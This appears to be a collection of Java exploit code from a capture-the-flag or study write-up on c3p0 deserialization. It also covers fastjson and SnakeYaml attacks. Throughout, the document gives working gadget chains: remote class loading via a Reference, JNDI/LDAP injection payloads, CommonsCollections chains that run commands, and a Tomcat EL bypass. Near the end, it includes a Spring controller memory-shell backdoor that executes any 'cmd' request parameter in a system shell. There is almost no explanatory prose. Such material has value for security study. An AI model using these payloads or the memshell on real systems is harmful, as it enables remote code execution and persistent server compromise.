<dependency>  
    <groupId>com.mchange</groupId>  
    <artifactId>c3p0</artifactId>  
    <version>0.9.5.2</version>  
</dependency>

public class exp {
    public exp() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P01 {

    public static class C3P0 implements ConnectionPoolDataSource, Referenceable{

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("ExpClass","exp","http://127.0.0.1:8888/");
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }

    public static void unserialize(byte[] bytes) throws Exception{
        try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain)){
            oin.readObject();
        }
    }

    public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSourceField.setAccessible(true);
        connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);

        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
            oout.writeObject(poolBackedDataSourceBase);
            return baout.toByteArray();
        }

    }

    public static void main(String[] args) throws Exception{
        C3P0 exp = new C3P0();
        byte[] bytes = serialize(exp);
        unserialize(bytes);
    }

}

#修改jndiName，用于最后的lookup(JndiName)->

JndiRefConnectionPoolDataSource#setJndiName ->
JndiRefForwardingDataSource#setJndiName

#JNDI调用
JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup

<dependency>  
  <groupId>com.alibaba</groupId>  
  <artifactId>fastjson</artifactId>  
  <version>1.2.47</version>  
</dependency>  
  <dependency>  
    <groupId>commons-collections</groupId>  
    <artifactId>commons-collections</artifactId>  
    <version>3.2.1</version>  
  </dependency>

package JNDI;  
import com.alibaba.fastjson.JSON;  
import javax.naming.InitialContext;  
public class POC {  
    public static void main(String[] args)  throws Exception{  
            String payload="{\"a\":" +  
                    "{\"@type\": \"java.lang.Class\",\"val\": \"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"}," +  
                    "\"stoocea\":" +  
                    "{\"@type\": \"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +  
                    "\"JndiName\": \"ldap://127.0.0.1:10389/cn=TestLdap,dc=example,dc=com\"," +  
                    "\"LoginTimeout\": 0}" +  
                    "}";  
        JSON.parseObject(payload);  
    }  
}

WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource->
C3P0ImplUtils#parseUserOverridesAsString->
SerializableUtils#fromByteArray->
SerializableUtils#deserializeFromByteArray->
SerializableUtils

package com.c3p0;

import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class getPayload {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer(
                        "invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
                new InvokerTransformer(
                        "exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformerChain);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "xxx");

        lazyMap.remove("test");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(expMap);
        oos.close();

        System.out.println("FJ的hexEXP填这个："+bytesToHexString(baos.toByteArray())+ "z");
        String ser = "HexAsciiSerializedMap:" + bytesToHexString(baos.toByteArray()) + "z";
        WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();
        exp.setUserOverridesAsString(ser);
    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray) {
        int length = bArray.length;
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}
配

{ "a": { "@type": "java.lang.Class", "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "b": { "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString": "HexAsciiSerializedMap:hexExp" } }

<dependency>
  <groupId>org.apache.el</groupId>
  <artifactId>com.springsource.org.apache.el</artifactId>
  <version>7.0.26</version>
</dependency>

<!-- https://mvnrepository.com/artifact/javax.el/el-api -->
<dependency>
  <groupId>javax.el</groupId>
  <artifactId>el-api</artifactId>
  <version>2.2</version>
</dependency>

package HighbyPass;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import org.apache.naming.ResourceRef;
public class CPDS implements ConnectionPoolDataSource , Referenceable {

    @Override
    public Reference getReference() throws NamingException {
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()" +
                ".getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" +
                "(['calc']).start()\")"));
        return ref;
    }
    @Override
    public PooledConnection getPooledConnection() throws SQLException {
        return null;
    }

    @Override
    public PooledConnection getPooledConnection(String user, String password) throws SQLException {
        return null;
    }

    @Override
    public PrintWriter getLogWriter() throws SQLException {
        return null;
    }

    @Override
    public void setLogWriter(PrintWriter out) throws SQLException {

    }

    @Override
    public void setLoginTimeout(int seconds) throws SQLException {

    }

    @Override
    public int getLoginTimeout() throws SQLException {
        return 0;
    }

    @Override
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
        return null;
    }


}

package HighbyPass;  

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.Base64;  
public class POCandEXP {  
    public static void main(String[] args) throws Exception {  
        PoolBackedDataSourceBase pbds=new PoolBackedDataSourceBase(false);  
        Class cls= pbds.getClass();  
        Field field=cls.getDeclaredField("connectionPoolDataSource");  
        field.setAccessible(true);  
        field.set(pbds,new CPDS());  
        serialize(pbds);  
    }  


    //可利用生成payload  
        public  static String serialize(PoolBackedDataSourceBase pbds) throws Exception{  
            ByteArrayOutputStream bao = new ByteArrayOutputStream();  
            ObjectOutputStream oos = new ObjectOutputStream(bao);  
            oos.writeObject(pbds);  
            byte[] temp=bao.toByteArray();  
            Base64.Encoder encoder=Base64.getEncoder();  
            String payload=encoder.encodeToString(temp);  
            System.out.println(payload);  
            return payload;  
    }  
}

package com.polarctf.controller;  

import org.springframework.stereotype.Controller;  
import org.springframework.web.bind.annotation.PostMapping;  
import org.yaml.snakeyaml.Yaml;  

@Controller  
/* loaded from: LoadController.class */  
public class LoadController {  
    @PostMapping({"/load"})  
    public Object load(String data) {  
        System.out.println("Received data: " + data);  
        return new Yaml().load(data);  
    }  
}

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.polarctf</groupId>
    <artifactId>SnakeYaml</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.2.1.RELEASE</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>com.mchange</groupId>
            <artifactId>c3p0</artifactId>
            <version>0.9.5.2</version>
        </dependency>
        <dependency>
            <groupId>org.yaml</groupId>
            <artifactId>snakeyaml</artifactId>
            <version>1.33</version>
        </dependency>
        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.9.2</version>
        </dependency>
    </dependencies>
    <build>
        <finalName>SnakeYaml</finalName>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

package exp;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  

import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Map;  

public class CC6WithTp {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl templates = new TemplatesImpl();  
        Class ct = templates.getClass();  
        byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\86150\\Desktop\\JarDebug\\target\\classes\\exp\\SpringControllerMemShell3.class"));  
        byte[][] bytes = {code};  
        Field ctDeclaredField = ct.getDeclaredField("_bytecodes");  
        ctDeclaredField.setAccessible(true);  
        ctDeclaredField.set(templates,bytes);  
        Field nameField = ct.getDeclaredField("_name");  
        nameField.setAccessible(true);  
        nameField.set(templates,"Z3");  
        Field tfactory = ct.getDeclaredField("_tfactory");  
        tfactory.setAccessible(true);  
        tfactory.set(templates,new TransformerFactoryImpl());  


        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(templates),  
                new InvokerTransformer("newTransformer",null,null)  
        };  

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);  

        Map<Object,Object> map = new HashMap<>();  
        Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));  

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");  
//  
//        //查看构造函数，传入的key和value  
        HashMap<Object, Object> map1 = new HashMap<>();  
//        //map的固定语法，必须要put进去,这里的put会将链子连起来，触发命令执行  
        map1.put(tiedMapEntry, "bbb");  
        lazyMap.remove("aaa");  

        Class c = LazyMap.class;  
        Field factoryField = c.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(lazyMap,chainedTransformer);  

//  
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);  
        objectOutputStream.writeObject(map1);  

        serialize(map1);  
    }  

    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./a.bin"));  
        objectOutputStream.writeObject(obj);  
    }  
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {  
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));  
        Object object = objectInputStream.readObject();  
        return object;  
    }  
}

package exp;  

import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
import org.springframework.stereotype.Controller;  
import org.springframework.web.bind.annotation.RequestMapping;  
import org.springframework.web.context.WebApplicationContext;  
import org.springframework.web.context.request.RequestContextHolder;  
import org.springframework.web.context.request.ServletRequestAttributes;  
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;  
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;  
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;  

import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
import java.io.PrintWriter;  
import java.lang.reflect.Method;  

/**  
 * 适用于 SpringMVC+Tomcat的环境，以及Springboot 2.x 环境.  
 *   因此比 SpringControllerMemShell.java 更加通用  
 *   Springboot 1.x 和 3.x 版本未进行测试  
 */  
@Controller  
public class SpringControllerMemShell3 extends AbstractTranslet {  

    public SpringControllerMemShell3() {  
        try {  
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);  
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);  
            Method method2 = SpringControllerMemShell3.class.getMethod("test");  
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();  

            Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);  
            getMappingForMethod.setAccessible(true);  
            RequestMappingInfo info =  
                    (RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, SpringControllerMemShell3.class);  

            SpringControllerMemShell3 springControllerMemShell = new SpringControllerMemShell3("aaa");  
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);  
        } catch (Exception e) {  

        }  
    }  

    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  

    }  

    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  

    }  

    public SpringControllerMemShell3(String aaa) {  
    }  

    @RequestMapping("/a")  
    public void test() throws IOException {  
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();  
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();  
        try {  
            String arg0 = request.getParameter("cmd");  
            PrintWriter writer = response.getWriter();  
            if (arg0 != null) {  
                String o = "";  
                ProcessBuilder p;  
                if (System.getProperty("os.name").toLowerCase().contains("win")) {  
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});  
                } else {  
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});  
                }  
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");  
                o = c.hasNext() ? c.next() : o;  
                c.close();  
                writer.write(o);  
                writer.flush();  
                writer.close();  
            } else {  
                response.sendError(404);  
            }  
        } catch (Exception e) {  
        }  
    }  
}

data=!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
userOverridesAsString: HexAsciiSerializedMap:16进制反序列化数据;